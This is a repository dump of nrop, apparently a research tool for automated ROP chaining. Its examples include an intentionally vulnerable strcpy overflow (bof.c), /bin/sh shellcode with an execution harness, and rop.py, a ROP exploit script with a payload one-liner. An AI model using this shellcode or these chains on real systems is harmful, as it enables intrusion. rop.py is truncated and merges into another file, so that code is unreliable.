├── .gitattributes ├── .gitignore ├── .gitmodules ├── .travis.yml ├── Dockerfile ├── INSTALL ├── LICENSE ├── Makefile ├── README.md ├── examples ├── bof ├── bof.c ├── execve ├── execve.c ├── execve_sh_x86_64 ├── execve_sh_x86_64.c ├── hardcore_rop ├── hello ├── hello.s ├── mark ├── mark.s ├── new ├── new.s ├── opti ├── opti.s ├── pn2 ├── pn2.s ├── rop.py ├── sc-execve ├── sc-execve.s ├── simple ├── simple-echo ├── simple-echo.c ├── simple-echo.i64 ├── split └── split.s ├── libs ├── xed2-ia32 │ ├── BUG-REPORTS.txt │ ├── LICENSE │ ├── README.txt │ ├── include │ │ ├── xed-address-width-enum.h │ │ ├── xed-agen.h │ │ ├── xed-attribute-enum.h │ │ ├── xed-attributes.h │ │ ├── xed-category-enum.h │ │ ├── xed-chip-enum.h │ │ ├── xed-common-defs.h │ │ ├── xed-common-hdrs.h │ │ ├── xed-convert-table-init.h │ │ ├── xed-decode-cache.h │ │ ├── xed-decode.h │ │ ├── xed-decoded-inst.h │ │ ├── xed-disas.h │ │ ├── xed-encode.h │ │ ├── xed-encoder-gen-defs.h │ │ ├── xed-encoder-hl.h │ │ ├── xed-encoder-iforms.h │ │ ├── xed-error-enum.h │ │ ├── xed-exception-enum.h │ │ ├── xed-extension-enum.h │ │ ├── xed-flag-action-enum.h │ │ ├── xed-flag-enum.h │ │ ├── xed-flags.h │ │ ├── xed-format-options.h │ │ ├── xed-gen-table-defs.h │ │ ├── xed-get-time.h │ │ ├── xed-iclass-enum.h │ │ ├── xed-iform-enum.h │ │ ├── xed-iform-map.h │ │ ├── xed-iformfl-enum.h │ │ ├── xed-immdis.h │ │ ├── xed-immed.h │ │ ├── xed-init-pointer-names.h │ │ ├── xed-init.h │ │ ├── xed-inst-printer.h │ │ ├── xed-inst.h │ │ ├── xed-interface.h │ │ ├── xed-isa-set-enum.h │ │ ├── xed-isa-set.h │ │ ├── xed-machine-mode-enum.h │ │ ├── xed-nonterminal-enum.h │ │ ├── xed-operand-action-enum.h │ │ ├── xed-operand-action.h │ │ ├── xed-operand-convert-enum.h │ │ ├── xed-operand-ctype-enum.h │ │ ├── xed-operand-ctype-map.h │ │ ├── xed-operand-element-type-enum.h │ │ ├── xed-operand-element-xtype-enum.h │ │ ├── xed-operand-enum.h │ │ ├── xed-operand-storage.h │ │ ├── xed-operand-type-enum.h │ │ ├── xed-operand-values-interface.h │ │ ├── xed-operand-visibility-enum.h │ │ ├── xed-operand-width-enum.h │ │ ├── xed-portability.h │ │ ├── xed-reg-class-enum.h │ │ ├── xed-reg-class.h │ │ ├── xed-reg-enum.h │ │ ├── xed-reg-role-enum.h │ │ ├── xed-state.h │ │ ├── xed-syntax-enum.h │ │ ├── xed-types.h │ │ ├── xed-util.h │ │ └── xed-version.h │ └── misc │ │ └── idata.txt └── xed2-intel64 │ ├── BUG-REPORTS.txt │ ├── LICENSE │ ├── README.txt │ ├── include │ ├── xed-address-width-enum.h │ ├── xed-agen.h │ ├── xed-attribute-enum.h │ ├── xed-attributes.h │ ├── xed-category-enum.h │ ├── xed-chip-enum.h │ ├── xed-common-defs.h │ ├── xed-common-hdrs.h │ ├── xed-convert-table-init.h │ ├── xed-decode-cache.h │ ├── xed-decode.h │ ├── xed-decoded-inst.h │ ├── xed-disas.h │ ├── xed-encode.h │ ├── xed-encoder-gen-defs.h │ ├── xed-encoder-hl.h │ ├── xed-encoder-iforms.h │ ├── xed-error-enum.h │ ├── xed-exception-enum.h │ ├── xed-extension-enum.h │ ├── xed-flag-action-enum.h │ ├── xed-flag-enum.h │ ├── xed-flags.h │ ├── xed-format-options.h │ ├── xed-gen-table-defs.h │ ├── xed-get-time.h │ ├── xed-iclass-enum.h │ ├── xed-iform-enum.h │ ├── xed-iform-map.h │ ├── xed-iformfl-enum.h │ ├── xed-immdis.h │ ├── xed-immed.h │ ├── xed-init-pointer-names.h │ ├── xed-init.h │ ├── xed-inst-printer.h │ ├── xed-inst.h │ ├── xed-interface.h │ ├── xed-isa-set-enum.h │ ├── xed-isa-set.h │ ├── xed-machine-mode-enum.h │ ├── xed-nonterminal-enum.h │ ├── xed-operand-action-enum.h │ ├── xed-operand-action.h │ ├── xed-operand-convert-enum.h │ ├── xed-operand-ctype-enum.h │ ├── xed-operand-ctype-map.h │ ├── xed-operand-element-type-enum.h │ ├── xed-operand-element-xtype-enum.h │ ├── xed-operand-enum.h │ ├── xed-operand-storage.h │ ├── xed-operand-type-enum.h │ ├── xed-operand-values-interface.h │ ├── xed-operand-visibility-enum.h │ ├── xed-operand-width-enum.h │ ├── xed-portability.h │ ├── xed-reg-class-enum.h │ ├── xed-reg-class.h │ ├── xed-reg-enum.h │ ├── xed-reg-role-enum.h │ ├── xed-state.h │ ├── xed-syntax-enum.h │ ├── xed-types.h │ ├── xed-util.h │ └── xed-version.h │ └── misc │ └── idata.txt ├── patches ├── qemu.log.patch ├── qemu.noprolog.patch ├── qemu.noprologet.patch ├── qemu.panda.patch └── qemu.patch └── src ├── Makefile ├── chain.c ├── chain.h ├── chunk.c ├── chunk.h ├── code.h ├── constraints.c ├── constraints.h ├── converter.c ├── converter.h ├── disassemblers ├── disassembler.h ├── disassembler_capstone.c ├── disassembler_capstone.h ├── disassembler_meta.c ├── disassembler_meta.h ├── disassembler_xed.c └── disassembler_xed.h ├── enumerator.c ├── enumerator.h ├── gadget.h ├── instruction.h ├── iterator.h ├── linked_list.c ├── linked_list.h ├── map.c ├── map.h ├── packer.c ├── packer.h ├── parsers ├── elf_type.c ├── elf_type.h ├── parser.h ├── parser_builder.c ├── parser_builder.h ├── parser_elf.c ├── parser_elf.h ├── parser_pe.c ├── parser_pe.h ├── pe_type.c ├── pe_type.h ├── program_header.c ├── program_header.h ├── section.c └── section.h ├── plugins ├── plugin.h ├── plugin_builder.c ├── plugin_builder.h ├── plugin_junk.c ├── plugin_junk.h ├── plugin_restore.c ├── plugin_restore.h ├── plugin_rop.c └── plugin_rop.h ├── region.c ├── region.h ├── thpool.c ├── thpool.h ├── utils.c └── utils.h /.gitattributes: -------------------------------------------------------------------------------- 1 | libs/** linguist-vendored=true 2 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Object files 2 | *.o 3 | *.ko 4 | *.obj 5 | *.elf 6 | 7 | # Libraries 8 | *.lib 9 | *.a 10 | 11 | # Shared objects (inc. Windows DLLs) 12 | *.dll 13 | *.so 14 | *.so.* 15 | *.dylib 16 | 17 | # Executables 18 | *.exe 19 | *.out 20 | *.app 21 | *.i*86 22 | *.x86_64 23 | *.hex 24 | 25 | *~ 26 | *.swp 27 | 28 | libs/* 29 | 30 | peda-session-packer.txt 31 | .gdb_history 32 | packer 33 | 34 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "qemu"] 2 | path = libs/qemu 3 | url = git://git.qemu-project.org/qemu.git 4 | [submodule "z3"] 5 | path = libs/z3 6 | url = https://git.codeplex.com/z3 7 | [submodule "capstone"] 8 | path = libs/capstone 9 | url = https://github.com/aquynh/capstone.git 10 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | language: c 2 | 3 | branches: 4 | only: 5 | - master 6 | - commit 7 | 8 | before_script: 9 | - sudo apt-get update -qq 10 | - sudo apt-get install -y git make python gcc g++ python-pkgconfig libz-dev libglib2.0-dev dh-autoreconf libc6-dev-i386 wget unzip llvm libncurses5-dev clang 11 | - git submodule update --init --recursive 12 | - make prepare 13 | - make examples 14 | 15 | script: 16 | - make all 17 | 18 | after_script: 19 | - ./packer examples/opti 20 | - ./packer -t 48c7c034120000c3 examples/opti 21 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | # nrop 2 | # 3 | # VERSION 1.1 4 | FROM debian:testing 5 | MAINTAINER Anthony Verez 6 | 7 | RUN apt-get update -qq 8 | RUN apt-get install -y git make python gcc g++ python-pkgconfig libz-dev \ 9 | libglib2.0-dev dh-autoreconf libc6-dev-i386 wget unzip llvm libncurses5-dev \ 10 | clang \ 11 | && apt-get clean 12 | ADD . /nrop 13 | RUN cd /nrop \ 14 | && make clean \ 15 | && make prepare \ 16 | && cd libs/z3/build \ 17 | && make install \ 18 | && cd ../../capstone \ 19 | && ./make.sh \ 20 | && ./make.sh install \ 21 | && cd ../.. \ 22 | && make -j32 23 | 24 | WORKDIR /nrop 25 | 26 | -------------------------------------------------------------------------------- /INSTALL: -------------------------------------------------------------------------------- 1 | Build Qemu exporting TCG 2 | ======================== 3 | 4 | cd qemu 5 | git stash 6 | git apply ../qemu.noprologet.patch 7 | make -j32 8 | cd .. 9 | make -j32 # error wanted regarding "abi_ulong" 10 | cd qemu 11 | git apply ../qemu.patch 12 | cd .. 13 | make -j32 # error wanted regarding multiple main and icount 14 | vim qemu/x86_64-linux-user/linux-user/main.o # :%s/main/ma1n/g 15 | vim qemu/stubs/cpu-get-icount.o # :%s/use_icount/use_1count/g 16 | make -j32 17 | 18 | Testing 19 | ======= 20 | 21 | ./packer -t 68ccedffff5a4883ec085b4831c04829d0c3 /usr/lib/libc.so.6 22 | 23 | FAQ 24 | === 25 | 26 | /bin/sh: llvm-config : commande introuvable 27 | ------------------------------------------- 28 | 29 | pacaur -S llvm 30 | 31 | 32 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | .SUFFIXES: 2 | .SUFFIXES: .c .o 3 | .PHONY: examples 4 | 5 | all: 6 | $(MAKE) -C src 7 | cp -r src/packer . 8 | 9 | prepare: 10 | cd libs/qemu && \ 11 | PYTHON=$(shell which python2) ./configure --target-list=x86_64-linux-user --disable-sparse --disable-strip --disable-werror --disable-sdl --disable-gtk --disable-virtfs --disable-vnc --disable-cocoa --disable-xen --disable-xen-pci-passthrough --disable-brlapi --disable-vnc-tls --disable-vnc-sasl --disable-vnc-jpeg --disable-vnc-png --disable-vnc-ws --disable-curses --disable-curl --disable-fdt --disable-bluez --disable-slirp --disable-kvm --disable-rdma --disable-system --disable-guest-base --disable-pie --disable-uuid --disable-vde --disable-netmap --disable-linux-aio --disable-cap-ng --disable-attr --disable-blobs --disable-docs --disable-vhost-net --disable-spice --disable-libiscsi --disable-libnfs --disable-smartcard-nss --disable-libusb --disable-usb-redir --disable-guest-agent --disable-seccomp --disable-coroutine-pool --disable-glusterfs --disable-libssh2 --disable-vhdx --disable-quorum --disable-bsd-user && \ 12 | patch -p1 < ../../patches/qemu.noprologet.patch && \ 13 | make -j32 && \ 14 | patch -p1 < ../../patches/qemu.patch 15 | cd libs/z3 && \ 16 | python2 scripts/mk_make.py && \ 17 | cd build && \ 18 | make -j32 19 | cd libs && \ 20 | wget http://software.intel.com/sites/landingpage/pintool/downloads/pin-2.13-65163-gcc.4.4.7-linux.tar.gz && \ 21 | tar xvzf pin-2.13-65163-gcc.4.4.7-linux.tar.gz && \ 22 | cp -r pin-2.13-65163-gcc.4.4.7-linux/extras/xed2-i* . && \ 23 | rm -rf pin-2.13-65163-gcc.4.4.7-linux* && \ 24 | sed -i 's/main/ma1n/g' qemu/x86_64-linux-user/linux-user/main.o && \ 25 | sed -i 's/use_icount/use_1count/g' qemu/stubs/cpu-get-icount.o 26 | 27 | clean: 28 | rm -rf *~ .*~ 29 | $(MAKE) -C src clean 30 | 31 | examples: 32 | nasm -f elf64 examples/split.s -o examples/split.o 33 | ld examples/split.o -o examples/split 34 | nasm -f elf64 examples/hello.s -o examples/hello.o 35 | ld examples/hello.o -o examples/hello 36 | nasm -f elf64 examples/mark.s -o examples/mark.o 37 | ld examples/mark.o -o examples/mark 38 | nasm -f elf64 examples/opti.s -o examples/opti.o 39 | ld examples/opti.o -o examples/opti 40 | nasm -f elf64 examples/new.s -o examples/new.o 41 | ld examples/new.o -o examples/new 42 | nasm -f elf64 examples/pn2.s -o examples/pn2.o 43 | ld examples/pn2.o -o examples/pn2 44 | 45 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | nrop 2 | ==== 3 | 4 | Automated Return-Oriented Programming Chaining 5 | 6 | More informations 7 | ----------------- 8 | 9 | All informations to build, configure, solve errors, versions used etc etc: 10 | 11 | http://aurelien.wail.ly/nrop/index.html 12 | 13 | You will need 14 | ------------- 15 | 16 | To work with submodules (init && update): 17 | 18 | git clone http://github.com/awailly/nrop 19 | git submodule update --init --recursive 20 | 21 | Then try to compile with: 22 | 23 | make prepare 24 | make -j32 25 | 26 | Dockerfile 27 | ---------- 28 | 29 | Using: 30 | 31 | $ sudo docker pull awailly/nrop 32 | $ sudo docker run -h nrop -t -i awailly/nrop:latest /bin/bash 33 | 34 | 35 | Building: 36 | 37 | $ sudo docker build -t awailly/nrop:latest . 38 | 39 | Contributors 40 | ------------ 41 | 42 | * Aurélien Wailly @awailly 43 | * Axel Souchet @0vercl0k 44 | * Jonathan Salwan @JonathanSalwan 45 | * Anthony Verez @netantho 46 | * Tiphaine Romand @tromand 47 | -------------------------------------------------------------------------------- /examples/bof: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/awailly/nrop/e50c53e3a3e67a8aaf92540aae3ce0f9925a0061/examples/bof -------------------------------------------------------------------------------- /examples/bof.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int boom(char *argv[]) 4 | { 5 | char a[200]; 6 | 7 | strcpy(a, argv[1]); 8 | 9 | return 1; 10 | } 11 | int main(int argc, char *argv[]) 12 | { 13 | boom(argv); 14 | return 0; 15 | } 16 | -------------------------------------------------------------------------------- /examples/execve: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/awailly/nrop/e50c53e3a3e67a8aaf92540aae3ce0f9925a0061/examples/execve -------------------------------------------------------------------------------- /examples/execve.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() 4 | { 5 | char *cmd[] = { "/bin/sh", (char *)0 }; 6 | 7 | execve("/bin/sh", cmd, NULL); 8 | 9 | return 0; 10 | } 11 | -------------------------------------------------------------------------------- /examples/execve_sh_x86_64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/awailly/nrop/e50c53e3a3e67a8aaf92540aae3ce0f9925a0061/examples/execve_sh_x86_64 -------------------------------------------------------------------------------- /examples/execve_sh_x86_64.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Execute /bin/sh - 27 bytes 3 | * Dad` <3 baboon 4 | ;rdi 0x4005c4 0x4005c4 5 | ;rsi 0x7fffffffdf40 0x7fffffffdf40 6 | ;rdx 0x0 0x0 7 | ;gdb$ x/s $rdi 8 | ;0x4005c4: "/bin/sh" 9 | ;gdb$ x/s $rsi 10 | ;0x7fffffffdf40: "\304\005@" 11 | ;gdb$ x/32xb $rsi 12 | ;0x7fffffffdf40: 0xc4 0x05 0x40 0x00 0x00 0x00 0x00 0x00 13 | ;0x7fffffffdf48: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 14 | ;0x7fffffffdf50: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 15 | ;0x7fffffffdf58: 0x55 0xb4 0xa5 0xf7 0xff 0x7f 0x00 0x00 16 | ; 17 | ;=> 0x7ffff7aeff20 : mov eax,0x3b 18 | ; 0x7ffff7aeff25 : syscall 19 | ; 20 | 21 | main: 22 | ;mov rbx, 0x68732f6e69622f2f 23 | ;mov rbx, 0x68732f6e69622fff 24 | ;shr rbx, 0x8 25 | ;mov rax, 0xdeadbeefcafe1dea 26 | ;mov rbx, 0xdeadbeefcafe1dea 27 | ;mov rcx, 0xdeadbeefcafe1dea 28 | ;mov rdx, 0xdeadbeefcafe1dea 29 | xor eax, eax 30 | mov rbx, 0xFF978CD091969DD1 31 | neg rbx 32 | push rbx 33 | ;mov rdi, rsp 34 | push rsp 35 | pop rdi 36 | cdq 37 | push rdx 38 | push rdi 39 | ;mov rsi, rsp 40 | push rsp 41 | pop rsi 42 | mov al, 0x3b 43 | syscall 44 | */ 45 | 46 | #include 47 | #include 48 | 49 | char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"; 50 | 51 | int main() 52 | { 53 | printf("len:%d bytes\n", strlen(code)); 54 | (*(void(*)()) code)(); 55 | return 0; 56 | } 57 | -------------------------------------------------------------------------------- /examples/hardcore_rop: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/awailly/nrop/e50c53e3a3e67a8aaf92540aae3ce0f9925a0061/examples/hardcore_rop -------------------------------------------------------------------------------- /examples/hello: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/awailly/nrop/e50c53e3a3e67a8aaf92540aae3ce0f9925a0061/examples/hello -------------------------------------------------------------------------------- /examples/hello.s: -------------------------------------------------------------------------------- 1 | ; "Hello World!" in 32 bit Linux NASM 2 | ; adapted from http://asm.sourceforge.net/intro/hello.html by Mark Loiseau 3 | ; referenced in http://blog.markloiseau.com/2012/04/hello-world-NASM-Linux 4 | 5 | global _start ; global entry point export for ld 6 | 7 | section .text 8 | _start: 9 | 10 | ; sys_write(stdout, message, length) 11 | 12 | mov eax, 4 ; sys_write syscall 13 | mov ebx, 1 ; stdout 14 | mov ecx, message ; message address 15 | mov edx, length ; message string length 16 | int 80h 17 | 18 | ; sys_exit(return_code) 19 | 20 | mov eax, 1 ; sys_exit syscall 21 | mov ebx, 0 ; return 0 (success) 22 | int 80h 23 | 24 | section .data 25 | message: db 'Hello, world!',0x0A ; message and newline 26 | length: equ $-message ; NASM definition pseudo-instruction 27 | -------------------------------------------------------------------------------- /examples/mark: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/awailly/nrop/e50c53e3a3e67a8aaf92540aae3ce0f9925a0061/examples/mark -------------------------------------------------------------------------------- /examples/mark.s: -------------------------------------------------------------------------------- 1 | ; 64-bit "Hello World!" in Linux NASM 2 | 3 | global _start ; global entry point export for ld 4 | 5 | section .text 6 | _start: 7 | 8 | ; sys_write(stdout, message, length) 9 | call do_stuff 10 | 11 | ; sys_exit(return_code) 12 | 13 | mov rax, 60 ; sys_exit 14 | mov rdi, 0 ; return 0 (success) 15 | syscall 16 | 17 | do_stuff: 18 | mov eax, 0xc ; sys_write 19 | sti 20 | mov rdi, 1 ; stdout 21 | shl eax, 0x4 22 | ret 23 | 24 | section .data 25 | message: db 'Hello, world!',0x0A ; message and newline 26 | length: equ $-message ; NASM definition pseudo-instruction 27 | -------------------------------------------------------------------------------- /examples/new: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/awailly/nrop/e50c53e3a3e67a8aaf92540aae3ce0f9925a0061/examples/new -------------------------------------------------------------------------------- /examples/new.s: -------------------------------------------------------------------------------- 1 | ; 64-bit "Hello World!" in Linux NASM 2 | 3 | global _start ; global entry point export for ld 4 | 5 | section .text 6 | _start: 7 | 8 | ; sys_write(stdout, message, length) 9 | call mov1 10 | 11 | mov1: 12 | int 3 13 | sub rax, -1 14 | ret 15 | 16 | section .data 17 | message: db 'Hello, world!',0x0A ; message and newline 18 | length: equ $-message ; NASM definition pseudo-instruction 19 | -------------------------------------------------------------------------------- /examples/opti: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/awailly/nrop/e50c53e3a3e67a8aaf92540aae3ce0f9925a0061/examples/opti -------------------------------------------------------------------------------- /examples/opti.s: -------------------------------------------------------------------------------- 1 | ; 64-bit "Hello World!" in Linux NASM 2 | 3 | global _start ; global entry point export for ld 4 | 5 | section .text 6 | _start: 7 | 8 | ; sys_write(stdout, message, length) 9 | call mov1 10 | call mov2 11 | call mov3 12 | call mov4 13 | call mov5 14 | call mov6 15 | call mov7 16 | 17 | call edx0 18 | 19 | call eaxedx 20 | 21 | call nat1 22 | call nat2 23 | call nat3 24 | 25 | call cha1 26 | call cha2 27 | call cha3 28 | call cha4 29 | call cha5 30 | call cha6 31 | 32 | ; sys_exit(return_code) 33 | 34 | mov rax, 60 ; sys_exit 35 | mov rdi, 0 ; return 0 (success) 36 | syscall 37 | 38 | mov1: 39 | mov rax, rbx 40 | ret 41 | 42 | mov2: 43 | xchg rbx, rax 44 | ret 45 | 46 | mov3: 47 | imul rax, rbx, 1 48 | ret 49 | 50 | mov4: 51 | xor rax, rax 52 | pop rsi 53 | add rax, rbx 54 | ret 55 | 56 | mov5: 57 | xor rax, rax 58 | not rax 59 | and rax, rbx 60 | ret 61 | 62 | mov6: 63 | xchg rbx, rcx 64 | xchg rcx, rax 65 | ret 66 | 67 | mov7: 68 | push rbx 69 | xor rax, rax 70 | pop rax 71 | ret 72 | 73 | edx0: 74 | xor rax, rax 75 | xchg rdx, rax 76 | ret 77 | 78 | eaxedx: 79 | mov rsi, 0xfffffffffffffff8 80 | lea rax, [rsi + rdx + 8] 81 | ret 82 | 83 | nat1: 84 | xor rax, rax 85 | add rax, rbx 86 | ret 87 | 88 | nat2: 89 | or rbx, 0xffffffffffffffff 90 | xchg rax, rbx 91 | ret 92 | 93 | nat3: 94 | push 0x1234 95 | pop rax 96 | inc rbx 97 | ret 98 | 99 | cha1: 100 | mov rbx, rdx 101 | xchg rbx, rcx 102 | lea rax, [rcx] 103 | ret 104 | 105 | cha2: 106 | imul rcx, [rsi], 0x0 107 | xchg rcx, rax 108 | ret 109 | 110 | cha3: 111 | push 0x1234 112 | pop rbp 113 | xchg rbp, rax 114 | ret 115 | 116 | cha4: 117 | imul rcx, [rsi], 0 118 | add rax, rcx 119 | ret 120 | 121 | cha5: 122 | push 0xffffffffffffedcc 123 | pop rdx 124 | xor rax, rax 125 | sub rax, rdx 126 | ret 127 | 128 | cha6: 129 | xor rax, rax 130 | not rax 131 | and rax, rdx 132 | add rax, rbx 133 | ret 134 | 135 | section .data 136 | message: db 'Hello, world!',0x0A ; message and newline 137 | length: equ $-message ; NASM definition pseudo-instruction 138 | -------------------------------------------------------------------------------- /examples/pn2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/awailly/nrop/e50c53e3a3e67a8aaf92540aae3ce0f9925a0061/examples/pn2 -------------------------------------------------------------------------------- /examples/pn2.s: -------------------------------------------------------------------------------- 1 | ; 64-bit "Hello World!" in Linux NASM 2 | 3 | global _start ; global entry point export for ld 4 | 5 | section .text 6 | _start: 7 | 8 | ; sys_write(stdout, message, length) 9 | call mov1 10 | 11 | mov1: 12 | int 3 13 | push 0x1234 14 | pop rbp 15 | xchg rbp, rax 16 | ret 17 | 18 | section .data 19 | message: db 'Hello, world!',0x0A ; message and newline 20 | length: equ $-message ; NASM definition pseudo-instruction 21 | -------------------------------------------------------------------------------- /examples/rop.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | from struct import * 3 | 4 | # python2 -c 'print "\x90"*(216-len("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")) + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "\xf1\xe2\xff\xff\xff\x7f"' 5 | 6 | nopsled = "\x90" 7 | baselibc = 0x7ffff7a3a000 8 | offset_xchg_eax_esp = 0x001147c4 9 | ret = pack(' 0x7ffff7aeff20 : mov eax,0x3b 15 | ; 0x7ffff7aeff25 : syscall 16 | ; 17 | 18 | main: 19 | ;mov rbx, 0x68732f6e69622f2f 20 | ;mov rbx, 0x68732f6e69622fff 21 | ;shr rbx, 0x8 22 | ;mov rax, 0xdeadbeefcafe1dea 23 | ;mov rbx, 0xdeadbeefcafe1dea 24 | ;mov rcx, 0xdeadbeefcafe1dea 25 | ;mov rdx, 0xdeadbeefcafe1dea 26 | xor eax, eax 27 | mov rbx, 0xFF978CD091969DD1 28 | neg rbx 29 | push rbx 30 | ;mov rdi, rsp 31 | push rsp 32 | pop rdi 33 | cdq 34 | push rdx 35 | push rdi 36 | ;mov rsi, rsp 37 | push rsp 38 | pop rsi 39 | mov al, 0x3b 40 | syscall 41 | -------------------------------------------------------------------------------- /examples/simple: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/awailly/nrop/e50c53e3a3e67a8aaf92540aae3ce0f9925a0061/examples/simple -------------------------------------------------------------------------------- /examples/simple-echo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/awailly/nrop/e50c53e3a3e67a8aaf92540aae3ce0f9925a0061/examples/simple-echo -------------------------------------------------------------------------------- /examples/simple-echo.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() 4 | { 5 | printf("This is a win :)\n"); 6 | 7 | return 0; 8 | } 9 | -------------------------------------------------------------------------------- /examples/simple-echo.i64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/awailly/nrop/e50c53e3a3e67a8aaf92540aae3ce0f9925a0061/examples/simple-echo.i64 -------------------------------------------------------------------------------- /examples/split: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/awailly/nrop/e50c53e3a3e67a8aaf92540aae3ce0f9925a0061/examples/split -------------------------------------------------------------------------------- /examples/split.s: -------------------------------------------------------------------------------- 1 | global _start 2 | 3 | _start: 4 | mov dword [rax + 1], 10 5 | mov rbx, 20 6 | xor rax, rbx 7 | push rax 8 | ret 9 | -------------------------------------------------------------------------------- /libs/xed2-ia32/BUG-REPORTS.txt: -------------------------------------------------------------------------------- 1 | Send bugs to sde-dev@intel.com 2 | 3 | -------------------------------------------------------------------------------- /libs/xed2-ia32/LICENSE: -------------------------------------------------------------------------------- 1 | IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING. By 2 | downloading, copying, installing or using the software you agree to 3 | this license. If you do not agree to this license, do not download, 4 | install, copy or use the software. 5 | 6 | Copyright (c) 2004-2011, Intel Corporation. All rights reserved. 7 | 8 | Redistribution and use in source and binary forms, with or without 9 | modification, are permitted provided that the following conditions are 10 | met: 11 | 12 | * Redistributions of source code must retain the above copyright 13 | notice, this list of conditions and the following disclaimer. 14 | 15 | * Redistributions in binary form must reproduce the above 16 | copyright notice, this list of conditions and the following 17 | disclaimer in the documentation and/or other materials provided 18 | with the distribution. 19 | 20 | * Neither the name of Intel Corporation nor the names of its 21 | contributors may be used to endorse or promote products derived 22 | from this software without specific prior written permission. 23 | 24 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 25 | "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 26 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 27 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT 28 | OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 29 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 30 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 31 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 32 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 33 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 34 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 35 | -------------------------------------------------------------------------------- /libs/xed2-ia32/include/xed-address-width-enum.h: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2014 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /// @file xed-address-width-enum.h 32 | 33 | // This file was automatically generated. 34 | // Do not edit this file. 35 | 36 | #if !defined(_XED_ADDRESS_WIDTH_ENUM_H_) 37 | # define _XED_ADDRESS_WIDTH_ENUM_H_ 38 | #include "xed-common-hdrs.h" 39 | typedef enum { 40 | XED_ADDRESS_WIDTH_INVALID=0, 41 | XED_ADDRESS_WIDTH_16b=2, ///< 16b addressing 42 | XED_ADDRESS_WIDTH_32b=4, ///< 32b addressing 43 | 